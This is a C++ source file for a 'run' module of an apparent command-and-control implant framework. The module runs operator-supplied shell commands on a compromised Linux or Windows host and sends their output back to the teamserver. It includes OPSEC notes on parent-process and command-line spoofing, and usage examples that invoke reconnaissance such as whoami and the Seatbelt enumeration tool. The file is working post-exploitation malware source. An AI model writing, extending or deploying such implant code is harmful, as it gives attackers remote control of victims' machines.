#include "Run.hpp"

#include <cstring>
#include <array>
#include <thread>
#include <future>

#include "Common.hpp"


#ifdef _WIN32
    #pragma warning( disable : 4800 ) 
#else

#endif

using namespace std;

constexpr std::string_view moduleName = "run";
constexpr unsigned long long moduleHash = djb2(moduleName);

#define BUFSIZE 4096

#ifdef _WIN32

__declspec(dllexport) Run* RunConstructor() 
{
    return new Run();
}

#else

__attribute__((visibility("default"))) Run* RunConstructor() 
{
    return new Run();
}

#endif


Run::Run()
#ifdef BUILD_TEAMSERVER
    : ModuleCmd(std::string(moduleName), moduleHash)
#else
    : ModuleCmd("", moduleHash)
#endif
{
}

Run::~Run()
{
}

std::string Run::getInfo()
{
    std::string info;
#ifdef BUILD_TEAMSERVER
    info += "Run module:\n";
    info += "Execute a system command and capture its output.\n";
    info += "This module runs a shell command on the local machine and returns its result.\n";
    info += "It supports both Unix-based and Windows environments and captures any output or error generated by the executed command.'\n\n";
    info += "Usage:\n";
    info += " - Linux: Supports standard bash shell commands.\n";
    info += " - Windows: Executes through CreateProcess with redirected output streams.\n\n";
    info += "exemple:\n";
    info += " - run whoami\n";
    info += " - run cmd /c dir\n";
    info += " - run .\\Seatbelt.exe -group=system\n";
#endif
    return info;
}

int Run::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)
    if(splitedCmd.size()<2)
    {
        c2Message.set_returnvalue(getInfo());
        return -1;
    }

    string shellCmd;
    for (int i = 1; i < splitedCmd.size(); i++)
    {
        shellCmd += splitedCmd[i];
        shellCmd += " ";
    }

    c2Message.set_instruction(splitedCmd[0]);
    c2Message.set_cmd(shellCmd);
#endif

    return 0;
}


int Run::process(C2Message &c2Message, C2Message &c2RetMessage)
{
    string shellCmd = c2Message.cmd();
    std::string outCmd;
    int error = execBash(shellCmd, outCmd);

    c2RetMessage.set_instruction(c2Message.instruction());
    c2RetMessage.set_cmd(shellCmd);
    if(error!=0)
        c2RetMessage.set_errorCode(error);
    c2RetMessage.set_returnvalue(outCmd);

    return 0;
}


#define ERROR_PROCESS_START_FAIL 1 
#define ERROR_WINDOWS 2

// OPSEC parent process spoofing
// OPSEC Command line argument spoofing
/**
 * @brief Executes a shell command and captures its output (stdout and stderr).
 *
 * This function runs the provided shell command in a subprocess and returns
 * the command's output. It supports both Linux and Windows platforms with appropriate
 * handling for each.
 *
 * On Linux:
 *   - Uses `popen()` to execute the command and read from stdout.
 *
 * On Windows:
 *   - Creates a child process using `CreateProcess`.
 *   - Captures both stdout and stderr via pipes.
 *   - Runs a background thread to monitor and kill the process if necessary.
 *
 * @param cmd The shell command to execute.
 * @return A string containing the combined stdout and stderr outputs.
 *
 * @throws std::runtime_error If `popen()` fails on Linux.
 */
int Run::execBash(const std::string& cmd, std::string& result)
{

#ifdef __linux__ 

    std::array<char, 128> buffer;
    std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
    if (!pipe)
    {
        return ERROR_PROCESS_START_FAIL;
    }
    while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr)
    {
        result += buffer.data();
    }

#elif _WIN32

    HANDLE g_hChildStd_OUT_Rd = NULL;
    HANDLE g_hChildStd_OUT_Wr = NULL;
    HANDLE g_hChildStd_ERR_Rd = NULL;
    HANDLE g_hChildStd_ERR_Wr = NULL;

    SECURITY_ATTRIBUTES sa; 
    // Set the bInheritHandle flag so pipe handles are inherited. 
    sa.nLength = sizeof(SECURITY_ATTRIBUTES); 
    sa.bInheritHandle = TRUE; 
    sa.lpSecurityDescriptor = NULL; 
    // Create a pipe for the child process's STDERR. 
    if ( ! CreatePipe(&g_hChildStd_ERR_Rd, &g_hChildStd_ERR_Wr, &sa, 0) ) {
        return ERROR_WINDOWS;
    }
    // Ensure the read handle to the pipe for STDERR is not inherited.
    if ( ! SetHandleInformation(g_hChildStd_ERR_Rd, HANDLE_FLAG_INHERIT, 0) ){
        return ERROR_WINDOWS;
    }
    // Create a pipe for the child process's STDOUT. 
    if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &sa, 0) ) {
        return ERROR_WINDOWS;
    }
    // Ensure the read handle to the pipe for STDOUT is not inherited
    if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) ){
        return ERROR_WINDOWS;
    }
    // Create the child process. 
    PROCESS_INFORMATION piProcInfo; 
    STARTUPINFO siStartInfo;
    bool bSuccess = FALSE; 

    // Set up members of the PROCESS_INFORMATION structure. 
    ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );

    // Set up members of the STARTUPINFO structure. 
    // This structure specifies the STDERR and STDOUT handles for redirection.
    ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) );
    siStartInfo.cb = sizeof(STARTUPINFO); 
    siStartInfo.hStdError = g_hChildStd_ERR_Wr;
    siStartInfo.hStdOutput = g_hChildStd_OUT_Wr;
    siStartInfo.dwFlags |= STARTF_USESTDHANDLES;

    // Create the child process. 
    // PROCESS_INFORMATION piProcInfo = CreateChildProcess();
    bSuccess = CreateProcess(NULL, 
        const_cast<LPSTR>(cmd.c_str()),     // command line 
        NULL,          // process security attributes 
        NULL,          // primary thread security attributes 
        TRUE,          // handles are inherited 
        0,             // creation flags 
        NULL,          // use parent's environment 
        NULL,          // use parent's current directory 
        &siStartInfo,  // STARTUPINFO pointer 
        &piProcInfo);  // receives PROCESS_INFORMATION
    CloseHandle(g_hChildStd_ERR_Wr);
    CloseHandle(g_hChildStd_OUT_Wr);

    // If an error occurs, exit the application. 
    if ( ! bSuccess ) 
    {
        return ERROR_PROCESS_START_FAIL;
    }

    m_isProcessRuning=true;
    m_processHandle = piProcInfo.hProcess;
    std::thread thread([this] { killProcess(); });

    DWORD dwRead; 
    CHAR chBuf[BUFSIZE];
    bSuccess = FALSE;
    std::string out = "";
    std::string err = "";
    for (;;) { 
        bSuccess=ReadFile( g_hChildStd_OUT_Rd, chBuf, BUFSIZE, &dwRead, NULL);
        if( ! bSuccess || dwRead == 0 ) break; 

        std::string s(chBuf, dwRead);
        out += s;
    } 
    dwRead = 0;
    for (;;) { 
        bSuccess=ReadFile( g_hChildStd_ERR_Rd, chBuf, BUFSIZE, &dwRead, NULL);
        if( ! bSuccess || dwRead == 0 ) break; 

        std::string s(chBuf, dwRead);
        err += s;

    } 
    m_isProcessRuning = false;
    CloseHandle(g_hChildStd_ERR_Rd);
    CloseHandle(g_hChildStd_OUT_Rd);
      
    thread.join();

    result += "Stdout:\n";
    result += out;
    result += "\n";
    if(!err.empty())
    {
        result += "Stderr:\n";
        result += err;
        result += "\n";
    }

    CloseHandle(piProcInfo.hProcess);
    CloseHandle(piProcInfo.hThread);

    #endif

    return 0;
} 

#ifdef _WIN32

int Run::killProcess()
{
    std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now();
    while (1)
    {
        if (!m_isProcessRuning) 
            break;

        std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now();
        auto elapse = std::chrono::duration_cast<std::chrono::seconds>(now - begin).count();
        if(elapse>=60)
        {
            TerminateProcess(m_processHandle, 0);
            break;
        }
        std::this_thread::sleep_for(std::chrono::milliseconds(100));
    }

    return 0;
}

#endif


int Run::errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)
    int errorCode = c2RetMessage.errorCode();
    if (errorCode > 0)
    {
        switch (errorCode)
        {
            case ERROR_PROCESS_START_FAIL:
                errorMsg = "Process failed to start.";
                break;

            default:
                errorMsg = "Unknown error: code " + std::to_string(errorCode);
                break;
        }
    }
#endif
    return 0;
}